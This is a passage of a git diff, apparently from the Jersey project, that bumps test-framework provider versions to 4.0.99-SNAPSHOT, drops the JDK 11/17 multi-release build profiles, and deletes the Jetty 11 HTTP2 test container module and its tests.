-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-external</artifactId>
diff --git a/test-framework/providers/grizzly2/pom.xml b/test-framework/providers/grizzly2/pom.xml
index 0da48ea..53fa7a1 100644
--- a/test-framework/providers/grizzly2/pom.xml
+++ b/test-framework/providers/grizzly2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
diff --git a/test-framework/providers/inmemory/pom.xml b/test-framework/providers/inmemory/pom.xml
index 5d4d43b..3c1f3ec 100644
--- a/test-framework/providers/inmemory/pom.xml
+++ b/test-framework/providers/inmemory/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-inmemory</artifactId>
diff --git a/test-framework/providers/jdk-http/pom.xml b/test-framework/providers/jdk-http/pom.xml
index 7c38deb..514cf00 100644
--- a/test-framework/providers/jdk-http/pom.xml
+++ b/test-framework/providers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-jdk-http</artifactId>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml
index 579931a..50c0b4a 100644
--- a/test-framework/providers/jetty-http2/pom.xml
+++ b/test-framework/providers/jetty-http2/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -31,13 +31,6 @@
 
     <description>Jersey Test Framework - Jetty HTTP2 container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
@@ -51,144 +44,4 @@
         </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
similarity index 98%
rename from test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
rename to test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
index e63f057..b132dc1 100644
--- a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
deleted file mode 100644
index 44fa02a..0000000
--- a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty.http2;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-/**
- * Factory for testing {@link JettyHttp2ContainerFactory}.
- *
- */
-public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
deleted file mode 100644
index f10b03c..0000000
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml
index 1a8b21b..77394b2 100644
--- a/test-framework/providers/jetty/pom.xml
+++ b/test-framework/providers/jetty/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -49,151 +49,4 @@
         </dependency>
     </dependencies>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
similarity index 100%
rename from test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
rename to test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
deleted file mode 100644
index 6504f0e..0000000
--- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml
deleted file mode 100644
index ed1cf22..0000000
--- a/test-framework/providers/jetty11-http2/pom.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-    <modelVersion>4.0.0</modelVersion>
-
-    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-test-framework-provider-jetty-http2</name>
-
-    <description>Jersey Test Framework - Jetty HTTP2 container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework</groupId>
-            <artifactId>jersey-test-framework-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty-http2</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-    </dependencies>
-</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
deleted file mode 100644
index 867db08..0000000
--- a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty11.http2;
-
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-import org.glassfish.jersey.test.spi.TestHelper;
-
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-
-/**
- * Factory for testing {@link Jetty11Http2ContainerFactory}.
- *
- */
-public final class Jetty11Http2TestContainerFactory implements TestContainerFactory {
-
-    private static class JettyHttp2TestContainer implements TestContainer {
-
-        private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
-
-        private URI baseUri;
-        private final Server server;
-
-        private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
-            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
-            if (!"/".equals(base.getRawPath())) {
-                throw new TestContainerException(String.format(
-                        "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
-                        base.getRawPath()));
-            }
-
-            this.baseUri = base;
-
-            if (LOGGER.isLoggable(Level.INFO)) {
-                LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
-                        + TestHelper.zeroPortToAvailablePort(baseUri));
-            }
-
-            this.server = Jetty11Http2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
-        }
-
-        @Override
-        public ClientConfig getClientConfig() {
-            return null;
-        }
-
-        @Override
-        public URI getBaseUri() {
-            return baseUri;
-        }
-
-        @Override
-        public void start() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
-            } else {
-                LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
-                try {
-                    server.start();
-
-                    if (baseUri.getPort() == 0) {
-                        int port = 0;
-                        for (final Connector connector : server.getConnectors()) {
-                            if (connector instanceof ServerConnector) {
-                                port = ((ServerConnector) connector).getLocalPort();
-                                break;
-                            }
-                        }
-
-                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
-
-                        LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
-                    }
-                } catch (Exception e) {
-                    throw new TestContainerException(e);
-                }
-            }
-        }
-
-        @Override
-        public void stop() {
-            if (server.isStarted()) {
-                LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
-                try {
-                    this.server.stop();
-                } catch (Exception ex) {
-                    LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
-                }
-            } else {
-                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
-            }
-        }
-    }
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        return new JettyHttp2TestContainer(baseUri, context);
-    }
-}
diff --git a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
deleted file mode 100644
index 0edcf72..0000000
--- a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.test.jetty11.http2.Jetty11Http2TestContainerFactory
diff --git a/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
deleted file mode 100644
index f10b03c..0000000
--- a/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
deleted file mode 100644
index ac93ccb..0000000
--- a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty11.http2;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.TestProperties;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.not;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Tests finding an available port for container.
- *
- */
-public class AvailablePortJetty11Test extends JerseyTest {
-
-    @Override
-    protected TestContainerFactory getTestContainerFactory() {
-        return new Jetty11Http2TestContainerFactory();
-    }
-
-    @Path("AvailablePortJettyTest")
-    public static class TestResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-    }
-
-    @Override
-    protected DeploymentContext configureDeployment() {
-        forceSet(TestProperties.CONTAINER_PORT, "0");
-
-        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
-    }
-
-    @Test
-    public void testGet() {
-        assertThat(target().getUri().getPort(), not(0));
-        assertThat(getBaseUri().getPort(), not(0));
-
-        assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET"));
-    }
-}
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
deleted file mode 100644
index 0ec4c06..0000000
--- a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty11.http2;
-
-import java.net.URI;
-import java.util.List;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
-import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
-import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
-import org.glassfish.jersey.jetty.Jetty11HttpContainer;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.glassfish.hk2.api.ServiceLocator;
-
-import org.jvnet.hk2.internal.ServiceLocatorImpl;
-
-import org.eclipse.jetty.server.Server;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * Test class for {@link Jetty11HttpContainer}.
- *
- */
-public class Jetty11ContainerTest extends JerseyTest {
-
-    /**
-     * Creates new instance.
-     */
-    public Jetty11ContainerTest() {
-        super(new Jetty11Http2TestContainerFactory());
-    }
-
-    @Override
-    protected ResourceConfig configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    /**
-     * Test resource class.
-     */
-    @Path("one")
-    public static class Resource {
-
-        /**
-         * Test resource method.
-         *
-         * @return Test simple string response.
-         */
-        @GET
-        public String getSomething() {
-            return "get";
-        }
-    }
-
-    @Test
-    /**
-     * Test {@link Server Jetty Server} container.
-     */
-    public void testJettyContainerTarget() {
-        final Response response = target().path("one").request().get();
-
-        assertEquals(200, response.getStatus(), "Response status unexpected.");
-        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
-    }
-
-    /**
-     * Test that defined ServiceLocator becomes a parent of the newly created service locator.
-     */
-    @Test
-    public void testParentServiceLocator() {
-        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
-        final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
-                new ResourceConfig(Resource.class), false, locator);
-        final Jetty11HttpContainer container = (Jetty11HttpContainer) server.getHandler();
